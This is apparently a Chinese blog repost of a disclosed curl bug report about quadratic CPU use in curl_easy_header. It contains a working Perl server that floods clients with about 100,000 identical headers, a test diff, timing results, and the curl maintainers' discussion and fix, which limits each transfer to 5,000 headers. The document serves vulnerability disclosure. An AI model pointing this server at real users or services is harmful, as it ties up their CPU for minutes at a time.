curl_easy_header 函数存在 O(N) 复杂度漏洞,可被恶意利用消耗大量 CPU 时间

本文详细分析了 curl_easy_header 函数在处理恶意服务器响应时的性能问题,攻击者可通过构造大量相同键的头部数据,导致函数以 O(N) 或更差的复杂度运行,消耗分钟级 CPU 时间,并提供了复现步骤和修复方案。

curl_easy_header 函数存在 O(N) 复杂度漏洞,可被恶意利用消耗大量 CPU 时间

摘要

curl_easy_header 函数的实现存在性能问题,恶意服务器可通过将所有头部数据置于单一键下进行滥用。例如,服务器响应可能如下:

1
2
3
4
5
6
HTTP/1.1 200 OK
a:
a:
a:
a:
[重复直至达到 MAX_HTTP_RESP_HEADER_SIZE 字节限制]

开发者若需遍历头部,通常会使用类似以下代码(取自 tests/libtest/lib1940.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
if(CURLHE_OK == curl_easy_header(easy, testdata[i], 0, CURLH_HEADER, HEADER_REQUEST, &header)) {
  if(header->amount > 1) {
    /* 多个头部,迭代遍历 */
    size_t index = 0;
    size_t amount = header->amount;
    do {
      curl_mprintf("- %s == %s (%u/%u)\n", header->name, header->value, (int)index, (int)amount);

      if(++index == amount)
        break;
      if(CURLHE_OK != curl_easy_header(easy, testdata[i], index, CURLH_HEADER, HEADER_REQUEST, &header))
        break;
    } while(1);
  }
  else {
    /* 仅有一个头部 */
    curl_mprintf(" %s == %s\n", header->name, header->value);
  }
}

每次调用 curl_easy_header 都会遍历所有条目,可能两次:首先计算具有该名称的头部数量,然后查找请求的索引(lib/headers.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* 需要第一轮计算该头部的数量 */
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
  hs = Curl_node_elem(e);
  if(strcasecompare(hs->name, name) && (hs->type & type) && (hs->request == request)) {
    amount++;
    pick = hs;
    e_pick = e;
  }
}
if(!amount)
  return CURLHE_MISSING;
else if(nameindex >= amount)
  return CURLHE_BADINDEX;

if(nameindex == amount - 1)
  /* 如果请求的是最后一个或唯一出现,则已知 */
  hs = pick;
else {
  for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
    hs = Curl_node_elem(e);
    if(strcasecompare(hs->name, name) && (hs->type & type) && (hs->request == request) && (match++ == nameindex)) {
      e_pick = e;
      break;
    }
  }
}

根据硬件性能,这可能累积至分钟或更长时间。

注意:本报告未使用 AI 生成。

受影响版本

当前测试版本为 git @ 283ad5c4320fa1d733e60a0dbe216ee36e3924fb

1
2
3
4
5
./src/curl -V
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets

复现步骤

以下是一个 Perl 服务器示例,可生成约 300k 的头部数据,所有键均为 ‘a’,无值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);

# 生成大量空头部,尽可能多地填充,所有键相同:
#
# a:
# a:
# a:
# a:
# ...

# 超过此值 curl 会报错:
#
#   Too large response headers: 307204 > 307200
#
my $header_count = 102_390;

my $headers = join("\n", ("a:") x $header_count) . "\n";
my $hlen = length($headers);

print "Using: $hlen bytes for the header with $header_count entries\n\n";

my $server = IO::Socket->new(
  Domain    => AF_INET,
  Type      => SOCK_STREAM,
  Proto     => 'tcp',
  LocalHost => '0.0.0.0',
  LocalPort => 3333,
  ReusePort => 1,
  Listen => 5,
) || die "Can't open socket: $@";

print "Try http://127.0.0.1:3333\n\n";

while (1) {
  my $client = $server->accept();

  print "Got a client\n";

  # 读取请求并忽略
  my $data = "";
  $client->recv($data, 1024);

  print "Got a request: \n\n" . $data =~ s/^/  /gmr;

  $client->send("HTTP/1.1 200 OK\r\n");

  print "H: $hlen\n";
  while ($hlen > 0) {
    print "Sending a chunk of headers...\n";

    my $sent = $client->send($headers);

    unless (defined $sent) {
      die "  Failed to send? $!\n";
    }

    substr($headers, 0, $sent) = "";

    $hlen -= $sent;

    print "  ..sent $sent bytes\n";
  }

  $client->send("\nhi.\n");

  $client->shutdown(SHUT_RDWR);

  print "Responded\n\n";

  # 每次循环重置
  $headers = join("\n", ("a:") x $header_count) . "\n";
  $hlen = length($headers);
}

然后,您可以修改 lib1940.c 进行测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
diff --git a/tests/libtest/lib1940.c b/tests/libtest/lib1940.c
index 16e288029..9efb0934d 100644
--- a/tests/libtest/lib1940.c
+++ b/tests/libtest/lib1940.c
@@ -27,7 +27,7 @@
 #include "memdebug.h"
 
 static const char *testdata[]={
-  "daTE",
+  "a",
   "Server",
   "content-type",
   "content-length",
1
2
3
4
5
6
7
$ time ./lib1940 http://localhost:3333 >/dev/null
[...]
Test ended with result 0

real	0m51.830s
user	0m51.580s
sys	0m0.214s

这也意味着使用 --write-out '%{header_json}' 的 curl 本身会受到影响:

1
2
3
4
5
$ time ./src/curl --write-out '%{header_json}' http://localhost:3333 >/dev/null
[...]
real	1m28.856s
user	1m28.702s
sys	0m0.116s

影响

摘要: 个人认为此漏洞的影响较低。攻击者需要诱使用户使用 -write-out '%{header_json%}' 访问恶意服务器,或使用 curl_easy_header 迭代所有值的库。

单次请求会消耗约分钟或更长的 CPU 时间,具体取决于硬件。除非能强制用户发起多次请求并消耗大量 CPU,否则损害似乎有限。

更大的问题可能是导致 cron 作业或其他同步进程的阻塞时间远超出预期。

团队反馈与修复

  • dgustafsson (curl staff):感谢报告。同意可以改进,但认为将其称为安全漏洞有些牵强。
  • wolfsage:出于安全考虑,选择在公开列表发布报告。
  • dgustafsson:强调报告正确,但可能通过常规 PR 处理。
  • jimfuller2024 (curl staff):报告清晰,结合 --write-out 和并行请求可能导致 curl 工具拒绝服务,但不符合安全问题的阈值,仅为代码错误。
  • wolfsage:风险在于服务允许用户输入 URL 获取内容(如 icalendars、webhooks 等),且服务提供商使用 libcurl 并迭代所有头部。
  • bagder (curl staff):提议的修复为每个传输添加最多 5,000 个头部的限制:https://github.com/curl/curl/pull/17281
  • bagder:关闭报告,状态改为 Informative。允许用户自定义 URL 会邀请攻击者进行各种恶意行为,此缓慢问题未显著改变风险集。现已修复。

披露信息

  • 报告 ID:#3133253
  • 严重性:无评级 (—)
  • 披露时间:2025 年 7 月 1 日下午 2:07 UTC
  • 弱点:不受控制的资源消耗
  • CVE ID:无
  • 赏金:无

感谢所有参与者的工作和高质量报告!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计